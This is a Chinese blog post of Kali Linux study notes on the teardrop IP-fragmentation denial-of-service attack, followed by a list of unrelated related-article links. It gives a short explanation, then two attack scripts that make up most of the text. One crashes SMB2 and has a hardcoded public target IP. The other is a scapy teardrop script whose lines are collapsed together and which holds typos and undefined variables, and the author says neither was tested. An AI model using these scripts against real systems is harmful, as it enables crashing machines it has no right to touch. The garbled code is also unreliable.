前言

本节学习teardrop
很古老
利用IP分段偏移

1、简介

teardrop

  • 主要针对早期微软操作系统(95、98、3.x、nt)
  • 近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
  • 原理:使用 IP 分段偏移实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
  • 攻击效果:被攻击者蓝屏、重启、卡死

IP包如图所示

  • 泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
  • IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 - 从而导致拒绝服务状况。
  • 可以抓包进行分析理解

2、对windows脚本teardrop_smb.py

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process ID High"
# SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
import sys
from socket import socket
from time import sleep
#host = sys.argv[1], 445
#host = "192.168.33.13", 445
host = "217.113.205.53", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

3、对android脚本teardrop_android.py

#!/user/bin/env python
import sys
from scapy.all import *
total = len(sys.argv)
if total !=3:print "Performs teardrop attack from Kali linux"print  " "print  "Usage: ./tear TARCET-IP ATTACK-CODE"print  "    Attacl Codes:"print  "    0: small payload (36 bytes), 2 packets, offset=3x8 bytes"print  "    1: large payload (1300 bytes), 2 packets, offset=80x8 bytes"print  "    2: large payload (1300 bytes), 12 packsts, offset=08x8"print  "    3: large payload (1300 bytes), 2 packets, offset=3x8 bytes"print  "    4: large payload (1300 bytes), 2 packets, offset=10x8 bytes"
target =str(sys.argv[1])
attack=sys.argv[2]
print 'Attacking target' + target + 'with attack' + accack
if attack == '0':print 'Using attack 0"size=36offset=3load1="\x00"*sizei=IP()i.dst=targeti.flags="MF"i.proto=17size=4offset=18load2="\x00"*sizej=IP()j.dst=targetj.flags=0j.proto=17j.frag=offsetsend(i/load1)send(j/load2)
elif attack == '1':print "Using attack 1"size=1300offset=80load="A"*sizei=IP()i.dst=targeti.flags="MF"i.proto=17size=4offset=18load2="\x00"*sizej=IP()j.dst=targetj.flags=0j.proto=17j.frag=offsetsend(i/load1)send(j/load2)
elif attack == '2':print "Using attack 2"print "Attacking wiht attack 2"size=1300offset=80load="A"*sizei=IP()i.dst=targeti.proto=17i.flags="MF"i.frag=0send(i/load)print "Attack 2 packet 0"for x in range(1, 10):i.frag=offsetoffset=offset+80send(i/load)print "Attack 2 packet " + str(x)i.frag=offseti.flags=0send(i/load)
elif attack == '3':print "Using attack 2"size=1336offset=3load="A"*sizei=IP()i.dst=targeti.flags="MF"i.proto=17size=4offset=18load2="\x00"*sizej=IP()j.dst=targetj.flags=0j.proto=17j.frag=offsetsend(i/load1)send(j/load2)
else:         # attack==4print "Using attack 4"size=1300load="A"*sizei=IP()i.dst=targeti.flags="MF"i.proto=17j=IP()j.dst=targetj.flags=0j.proto=17j.frag=offsetsend(i/load1)send(j/load2)
prubt "Done!"

结语

上面两个脚本笔者都没有试过
找不到合适的靶机
就看看理解理解

了解下是怎么通过IP分段偏移进行攻击的

Kali linux 学习笔记(七十五)拒绝服务——teardrop 2020.4.15相关推荐

  1. Cty的Linux学习笔记(十五——wget)

    Linux学习笔记--第十五篇 wget命令用于在终端中下载网络文件,格式为"wget  [参数]  下载地址" 参数: -b:后台下载模式 -P:下载到指定目录 -t:最大尝试次 ...

  2. Kali linux 学习笔记(十九)缓冲区溢出——linux(crossfire) 2020.3.1

    前言 上一篇在windows下用SLMail的漏洞实现缓冲区溢出 这次在Linux下用crossfire的漏洞实现缓冲区溢出 crossfire穿越火线 多人在线rpg游戏 1.9.0版本接受入站so ...

  3. Linux学习笔记(十五)用户和用户组

    一.四个配置文件 解释: (1)当组内仅有一个用户且用户名和组名相同时,[组中用户列表]可省略不写 (2)root用户组的组号为0 (3)组号1-499位系统预留组号,是预留给安装在系统中的软件或服务 ...

  4. Kali linux 学习笔记(十六)主动信息收集——防火墙识别(scapy、lbd、waf) 2020.2.25

    前言 通过检查回包,识别端口是否经过防火墙过滤 大概有四种情况 当然误差存在一定误差 1.scapy 根据上述四种情况,可以写个脚本 fw_detect.py #!/usr/bin/python im ...

  5. Kali Linux学习笔记—无线渗透 WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit)

    Kali linux 学习笔记 无线渗透--WPA攻击(PSK破解.AIROLIB.JTR.cowpatty.pyrit) PSK破解原理 PSK破解过程 实验步骤--使用字典rockyou.txt ...

  6. JavaScript学习笔记(十五)

    JavaScript学习笔记(十五) 事件 事件是DOM(文档对象模型)的一部分.事件流就是事件发生顺序,这是IE和其他浏览器在事件支持上的主要差别. 一.事件流 1.冒泡型事件 IE上的解决方案就是 ...

  7. OpenCV学习笔记(十五):图像仿射变换:warpAffine(),getRotationMatrix2D()

    OpenCV学习笔记(十五):图像仿射变换:warpAffine(),getRotationMatrix2D() 一个任意的仿射变换都能表示为乘以一个矩阵(线性变换)接着再加上一个向量(平移)的形式. ...

  8. MATLAB学习笔记(十五)

    MATLAB学习笔记(十五) 一.非线性方程求解与函数极值计算 1.1 非线性方程数值求解 1.2 函数极值的计算 1.2.1 无约束最优化问题 1.2.2 有约束最优化问题 一.非线性方程求解与函数 ...

  9. 学习笔记(十五)——镜像的知识点与注意事项

    学习笔记(十五)--镜像的知识点与注意事项 一.基础知识 1.SQL Server镜像只有两种模式:高安全模式和高性能模式.两种模式的主要区别在于在事务提交后的操作. 在高性能模式下,主体服务器不需要 ...

  10. JavaScript学习(七十五)—图解浅拷贝和深拷贝

    JavaScript学习(七十五)-图解浅拷贝和深拷贝 浅拷贝 浅拷贝只是拷贝一层,更深层次对象级别的只拷贝引用 Object.assign(target, ...sources);ES6新增方法可以 ...

最新文章

  1. redis python zset
  2. linux查看安装的所有内核,Linux怎么查看系统已安装内核
  3. 2018-2019-1 20189201 《LInux内核原理与分析》第九周作业
  4. pg加密扩展的安装_postgresql的加密扩展插件pgcrypto
  5. [Android]AndroidBucket增加碎片SubLayout功能及AISubLayout的注解支持
  6. java 责任链模式 链表_责任链模式的实现及源码中应用
  7. 安装配置rabbitmq
  8. 服务 23 年,苹果宣布停止 macOS Server
  9. Http,TCP/IP,UDP
  10. 利用OpenFileDialog 获取图片存储到数据库中
  11. Visual Studio Code——做嵌入式C/C++开发常用的编辑器软件安装及基本使用总结
  12. 【解决】UnicodeDecodeError: ‘ascii‘ codec can‘t decode byte 0xef in position 0: ordinal not in range(128
  13. Android系统中设置TextView的字符间距
  14. 配置 CRM2011 IFD
  15. python的培训学校
  16. 教你如何用cmd命令清除流氓软件
  17. Linux源码编译-编译哪些设备树
  18. vba数据类型,运算符,内置函数,循环判断语句,窗体控件
  19. openwrt恢复出厂设置有两种方法
  20. java.io.InvalidClassException异常解决方案

热门文章

  1. 10Wqps评论中台,如何架构?B站是这么做的!!!
  2. oracle的隔离级别
  3. Android计步模块优化(今日步数)
  4. 1520 - 骑士的金币(coin)
  5. ALCNet——红外小目标检测网络论文阅读
  6. ARM(IMX6U)裸机之I.MX6ULL启动头文件详解(内部BOOT ROM、IVT + Boot data + DCD + led.bin)
  7. 让你提前认识软件开发(8):memset()与memcpy()函数
  8. 云和恩墨新晋ACED熊军微信大讲堂主题分享
  9. 如何打开小米,oppo,华为等手机的系统应用的指定页面
  10. vivox21支持html,vivo X21支持快充吗_vivo X21支持无线充电吗-太平洋IT百科